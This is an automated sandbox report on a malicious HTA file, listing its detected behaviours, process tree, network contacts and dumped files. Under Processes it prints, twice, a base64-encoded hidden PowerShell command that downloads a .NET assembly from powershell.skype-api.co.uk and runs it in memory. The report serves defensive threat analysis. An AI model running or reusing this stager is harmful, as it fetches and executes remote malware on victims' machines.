Malware Analysis Report

2025-08-10 21:24

Sample ID 240530-brsnmaac69
Target 9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta
SHA256 9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88
Tags
execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88

Threat Level: Known bad

The file 9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta was found to be: Known bad.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Command and Scripting Interpreter: PowerShell

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-30 01:23

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-30 01:23

Reported

2024-05-30 01:25

Platform

win7-20240221-en

Max time kernel

119s

Max time network

120s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABiAHkAdABlAHMAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAIgBoAHQAdABwADoALwAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBzAGsAeQBwAGUALQBhAHAAaQAuAGMAbwAuAHUAawA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAGkAcgBvAG4AcAB5AHQAaABvAG4ALwAiACkAOwAkAGEAcwBzAGUAbQBiAGwAeQA9AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBsAG8AYQBkACgAJABiAHkAdABlAHMAKQA7ACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACIAUAByAG8AZwByAGEAbQAiACkALgBHAGUAdABNAGUAdABoAG8AZAAoACIATQBhAGkAbgAiACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAOwA=

Network

Country Destination Domain Proto
US 8.8.8.8:53 powershell.skype-api.co.uk udp
US 20.163.176.155:80 powershell.skype-api.co.uk tcp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-30 01:23

Reported

2024-05-30 01:25

Platform

win10v2004-20240508-en

Max time kernel

148s

Max time network

158s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1396 wrote to memory of 4472 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1396 wrote to memory of 4472 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1396 wrote to memory of 4472 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABiAHkAdABlAHMAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAIgBoAHQAdABwADoALwAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBzAGsAeQBwAGUALQBhAHAAaQAuAGMAbwAuAHUAawA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAGkAcgBvAG4AcAB5AHQAaABvAG4ALwAiACkAOwAkAGEAcwBzAGUAbQBiAGwAeQA9AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBsAG8AYQBkACgAJABiAHkAdABlAHMAKQA7ACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACIAUAByAG8AZwByAGEAbQAiACkALgBHAGUAdABNAGUAdABoAG8AZAAoACIATQBhAGkAbgAiACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAOwA=

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 powershell.skype-api.co.uk udp
US 20.163.176.155:80 powershell.skype-api.co.uk tcp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 100.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 138.201.86.20.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 98.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 4.173.189.20.in-addr.arpa udp

Files

memory/4472-2-0x0000000073EFE000-0x0000000073EFF000-memory.dmp

memory/4472-3-0x0000000005150000-0x0000000005186000-memory.dmp

memory/4472-4-0x0000000005970000-0x0000000005F98000-memory.dmp

memory/4472-5-0x0000000073EF0000-0x00000000746A0000-memory.dmp

memory/4472-6-0x0000000073EF0000-0x00000000746A0000-memory.dmp

memory/4472-7-0x0000000005630000-0x0000000005652000-memory.dmp

memory/4472-9-0x00000000058B0000-0x0000000005916000-memory.dmp

memory/4472-8-0x00000000057D0000-0x0000000005836000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xjv0rogb.0uo.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4472-19-0x0000000005FA0000-0x00000000062F4000-memory.dmp

memory/4472-20-0x00000000064C0000-0x00000000064DE000-memory.dmp

memory/4472-21-0x0000000006570000-0x00000000065BC000-memory.dmp

memory/4472-22-0x0000000007D20000-0x000000000839A000-memory.dmp

memory/4472-23-0x00000000069E0000-0x00000000069FA000-memory.dmp

memory/4472-25-0x0000000073EFE000-0x0000000073EFF000-memory.dmp

memory/4472-26-0x0000000073EF0000-0x00000000746A0000-memory.dmp

memory/4472-29-0x0000000073EF0000-0x00000000746A0000-memory.dmp